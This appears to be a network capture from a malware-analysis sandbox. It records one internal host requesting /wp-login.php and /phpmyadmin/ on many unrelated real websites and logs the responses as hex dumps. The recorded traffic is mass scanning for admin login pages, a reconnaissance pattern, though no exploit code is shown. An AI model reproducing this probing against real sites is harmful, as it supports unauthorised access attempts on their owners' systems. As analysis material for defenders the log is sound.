2023-12-20 02:13:28 UTC	792	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close cache-control: private vary: Accept-Encoding set-cookie: site_version_phase=108; expires=Sat, 14-Dec-2024 02:13:28 GMT; path=/ set-cookie: site_version=HDv3; expires=Sat, 14-Dec-2024 02:13:28 GMT; path=/ x-powered-by: ASP.NET lb: TclPrdLbHd3 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=1lvuoq5qcepbVN24hTw7L9a2sjGn7IezMfzo1D7xM61fXTiYkMR54b8JopMwJ9sJv9OCG33Nd5UX00Hdu4jhJprm3QiMuQNVt568mj136qNcc0mzkHI6So7If5AT%2FF0KaCrWzIs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845dc6894f741c-MIA
2023-12-20 02:13:28 UTC	577	IN	Data Raw: 37 63 38 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 63 6f 6f 6b 69 65 79 65 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 63 6f 6f 6b 69 65 79 65 73 2e 63 6f 6d 2f 63 6c 69 65 6e 74 5f 64 61 74 61 2f 65 37 31 62 63 35 33 66 31 63 62 38 38 36 36 36 64 31 36 30 63 31 65 32 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 0a 3c 6d 65 Data Ascii: 7c8a<!DOCTYPE html><html lang="en"><head><script id="cookieyes" type="text/javascript" src="https://cdn-cookieyes.com/client_data/e71bc53f1cb88666d160c1e2/script.js"></script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><me
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 72 65 62 6f 6f 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 61 61 3d 32 30 32 31 2d 30 36 2d 30 39 61 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 Data Ascii: ink rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/reboot.min.css"><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/style.css?aa=2021-06-09a"><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 34 30 30 2c 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 2f 7a 79 77 36 6d 64 73 2e 63 73 73 22 3e 0a 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 55 41 2d 37 31 31 37 33 33 39 2d 34 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0d 0a 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0d 0a 66 75 6e 63 74 69 Data Ascii: family=Noto+Sans:400,700&display=swap"><link rel="stylesheet" href="https://use.typekit.net/zyw6mds.css"><script async src="https://www.googletagmanager.com/gtag/js?id=UA-7117339-4"></script><script>window.dataLayer = window.dataLayer \|\| [];functi
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 2f 73 65 61 72 63 68 2d 69 63 6f 6e 2d 77 68 69 74 65 2e 70 6e 67 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 20 61 6c 74 3d 22 48 65 61 64 65 72 20 4d 6f 62 69 6c 65 20 53 65 61 72 63 68 22 20 62 6f 72 64 65 72 3d 22 30 22 20 6f 6e 63 6c 69 63 6b 3d 22 68 65 61 64 65 72 4d 6f 62 69 6c 65 53 65 61 72 63 68 4d 61 67 46 75 6e 63 28 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 62 6f 78 20 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 42 6f 78 44 69 76 49 44 22 3e 0a 0a 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 64 6f 6d 61 69 6e 5f 73 65 61 72 63 68 2e 63 66 6d 22 20 6d Data Ascii: /search-icon-white.png" tabindex="0" alt="Header Mobile Search" border="0" onclick="headerMobileSearchMagFunc(); return false;"></div><div class="search-box " id="hdv3HeaderSearchBoxDivID"><form action="https://www.HugeDomains.com/domain_search.cfm" m
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 65 72 2d 74 65 6c 20 68 69 64 65 41 74 39 39 31 57 69 64 74 68 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 70 68 6f 6e 65 2d 69 63 6f 6e 2e 70 6e 67 22 20 61 6c 74 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 74 65 6c 6c 2d 74 65 78 74 22 3e 2b 31 2d 33 30 33 2d 38 39 33 2d 30 35 35 32 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 6e 61 76 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 20 68 51 51 51 69 64 65 41 74 39 39 31 57 69 64 74 68 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 44 72 61 77 65 72 4c 61 79 20 22 20 6f 6e 63 6c 69 63 6b 3d 22 20 24 28 20 27 23 6e Data Ascii: er-tel hideAt991Width"><img src="https://static.HugeDomains.com/images/hdv3-img/phone-icon.png" alt><span class="tell-text">+1-303-893-0552</span></a></div></div></div><nav class="navbar hQQQideAt991Width"><div class="overDrawerLay " onclick=" $( '#n
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 61 72 74 2d 69 63 6f 6e 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 74 6f 70 3a 30 70 78 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 2e 63 66 6d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 20 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 68 6f 70 70 69 6e 67 43 61 72 74 4c 69 6e 6b 49 44 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 53 68 6f 70 70 69 6e 67 20 43 61 72 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 6f 62 69 6c 65 2d 73 68 6f 77 22 3e 53 68 6f 70 70 69 6e 67 20 63 61 72 74 3c 2f 73 70 61 6e 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 Data Ascii: v><div class="cart-icon" style="padding-top:0px;"><a href="https://www.HugeDomains.com/shopping_cart.cfm" class="whiteLink " id="hdv3HeaderShoppingCartLinkID" aria-label="Shopping Cart"><span class="mobile-show">Shopping cart</span><img src="https://stat
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 3b 20 6d 69 6e 2d 77 69 64 74 68 3a 32 37 33 70 78 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 70 78 3b 20 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 22 3e 50 72 6f 63 65 73 73 69 6e 67 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 31 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 32 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 33 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 34 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 35 Data Ascii: ; min-width:273px; margin-top:0px; margin-bottom:0px; display:flex;">Processing<div class="circularJ"><div class="circularJ_1"></div><div class="circularJ_2"></div><div class="circularJ_3"></div><div class="circularJ_4"></div><div class="circularJ_5
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 70 61 79 6d 65 6e 74 2d 70 6c 61 6e 2d 73 65 74 75 70 2e 63 66 6d 3f 64 3d 55 6e 69 71 75 65 41 75 73 74 72 61 6c 69 61 6e 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 64 69 66 2d 6c 22 3e 53 65 65 20 64 65 74 61 69 6c 73 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 72 65 64 69 74 69 20 22 3e 0a 3c 75 6c 3e 0a 3c 6c 69 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 67 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 33 30 64 61 79 73 6d 61 6c 6c 69 63 6f 2e 70 6e 67 22 20 61 6c 74 3e 0a Data Ascii: href="https://www.HugeDomains.com/payment-plan-setup.cfm?d=UniqueAustralian.com" class="link dif-l">See details</a></div><div class="crediti "><ul><li><div class="img"><img src="https://static.HugeDomains.com/images/hdv3-img/30daysmallico.png" alt>
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 74 61 69 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 2d 70 72 6f 64 75 63 74 2d 62 6c 6f 63 6b 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6e 2d 62 6c 6f 63 6b 22 3e 0a 3c 68 31 20 69 64 3d 22 6d 61 69 6e 22 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 2d 6e 61 6d 65 22 3e 55 6e 69 71 75 65 41 75 73 74 72 61 6c 69 61 6e 2e 63 6f 6d 3c 2f 68 31 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 64 2d 74 2d 6e 22 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 69 73 20 66 6f 72 20 73 61 6c 65 3a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 72 65 65 6e 22 3e 24 32 2c 36 39 35 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 73 22 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 74 Data Ascii: tainer"><div class="single-product-block"><div class="bn-block"><h1 id="main" class="domain-name">UniqueAustralian.com</h1><p class="d-t-n">This domain is for sale: <span class="green">$2,695</span></p></div><div class="tablet-block-s"><p class="t
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 63 75 6c 61 72 4a 5f 37 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 38 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 6d 69 64 6c 65 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 35 70 78 3b 22 3e 0a 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 22 3e 6f 72 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 72 69 67 68 74 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 70 61 79 Data Ascii: cularJ_7"></div><div class="circularJ_8"></div></div></button></div><div class="tablet-block-midle" style="padding-bottom:25px;"><span style="font-size:16px;">or</span></div><div class="tablet-block-right"><a href="https://www.HugeDomains.com/pay

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.4	59160	13.248.169.48	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:28 UTC	332	OUT	GET /wp-login.php HTTP/1.1 Host: topshelfgames.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:28 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:28 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_bzD/lyHcJaWyj3PZ9Cf4/swuFepEaMIwjyawlVNkgVv/Ih5TANF2XW90DeGY0hz/vJ/MfvRAxQLepa88NLckYw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:28 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.4	59273	96.45.112.177	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:28 UTC	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: texasopendoor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:28 UTC	528	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 20 Dec 2023 02:13:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=df7da631cd13e48c4445a685d9e05792; path=/ Pragma: no-cache Set-Cookie: aiovg_rand_seed=404933529; expires=Thu, 21-Dec-2023 02:13:22 GMT; Max-Age=86400; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: https://www.texasopendoor.com/phpmyadmin/
2023-12-20 02:13:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.4	59370	76.223.105.230	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:28 UTC	208	OUT	GET /wp-login.php HTTP/1.1 Host: justinsweet.com Accept: / Accept-Encoding: deflate, gzip Cookie: dps_site_id=us-east-1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:29 UTC	288	IN	HTTP/1.1 404 Not Found Content-Type: text/html;charset=utf-8 Content-Length: 964 Vary: Accept-Encoding Server: DPS/2.0.0+sha-5905cfa X-Version: 5905cfa X-SiteId: us-east-1 Set-Cookie: dps_site_id=us-east-1; path=/; secure Date: Wed, 20 Dec 2023 02:13:28 GMT Connection: close
2023-12-20 02:13:29 UTC	964	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 69 6d 67 31 2e 77 73 69 6d 67 2e 63 6f 6d 2f 64 70 73 2f 63 73 73 2f 75 78 63 6f Data Ascii: <!DOCTYPE html><html><head> <title>404 Not Found</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="//img1.wsimg.com/dps/css/uxco

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.4	59410	151.101.1.195	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:28 UTC	182	OUT	GET /wp-login.php HTTP/1.1 Host: geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:29 UTC	452	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 60 Location: https://www.geoffreynolds.com.au/wp-login.php Content-Type: text/plain; charset=utf-8 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:28 GMT X-Served-By: cache-gnv1820020-GNV X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038409.935616,VS0,VE35 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:29 UTC	60	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 6f 66 66 72 65 79 6e 6f 6c 64 73 2e 63 6f 6d 2e 61 75 2f 77 70 2d 6c 6f 67 69 6e 2e 70 68 70 Data Ascii: Redirecting to https://www.geoffreynolds.com.au/wp-login.php

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.4	59359	217.19.254.237	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:29 UTC	242	OUT	GET /wp-login.php?redirect_to=https%3A%2F%2Fwww.tgcan.co.uk%2Fwp-admin%2F&reauth=1 HTTP/1.1 Host: www.tgcan.co.uk Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:29 UTC	2427	IN	HTTP/1.1 200 OK Cache-Control: no-cache, must-revalidate, max-age=0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.4.2 Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/; secure X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:29 GMT; Max-Age=0; path=/wp-admin Set-Cookie: wordpress_sec_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:29 GMT; Max-Age=0; path=/wp-admin Set-Cookie: wordpress_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:29 GMT; Max-Age=0; path=/wp-content/plugins Set-Cookie: wordpress_sec_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:29 GMT; Max-Age=0; path=/wp-content/plugins Set-Cookie: wordpress_logged_in_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:29 GMT; Max-Age=0; path=/ Set-Cookie: wordpress_logged_in_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:29 GMT; Max-Age=0; path=/ Set-Cookie: wp-settings-0=+; expires=Tue, 20-Dec-2022 02:13:29 GMT; Max-Age=0; path=/ Set-Cookie: wp-settings-time-0=+; expires=Tue, 20-Dec-2022 02:13:29 GMT; Max-Age=0; path=/ Set-Cookie: wordpress_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:29 GMT; Max-Age=0; path=/ Set-Cookie: wordpress_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:29 GMT; Max-Age=0; path=/ Set-Cookie: wordpress_sec_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:29 GMT; Max-Age=0; path=/ Set-Cookie: wordpress_sec_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:29 GMT; Max-Age=0; path=/ Set-Cookie: wordpressuser_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:29 GMT; Max-Age=0; path=/ Set-Cookie: wordpresspass_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:29 GMT; Max-Age=0; path=/ Set-Cookie: wordpressuser_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:29 GMT; Max-Age=0; path=/ Set-Cookie: wordpresspass_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:29 GMT; Max-Age=0; path=/ Set-Cookie: wp-postpass_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:29 GMT; Max-Age=0; path=/ X-Powered-By: ASP.NET Date: Wed, 20 Dec 2023 02:13:29 GMT Connection: close Content-Length: 8604
2023-12-20 02:13:29 UTC	8604	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: <!DOCTYPE html><html lang="en-GB" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; TG Can International — WordPress</title><meta name=

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.4	59468	199.60.103.25	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:29 UTC	411	OUT	GET /wp-login.php HTTP/1.1 Host: greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=f9e567529add4aaa59de3ceb83771d70dc477fae-1703038407; __cf_bm=Dywd.0936Vq29pVbp8I8Fu3OEx.bsTU3cxXxEZXep7s-1703038407-1-AQTPK5aeDnWMjcosgjCzVJxsDmmFTKPENnUu2yFp/oaAg8Z+WzrJwZMe7OlyJCgLCCTKAony8PUtg91LiLeworY= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
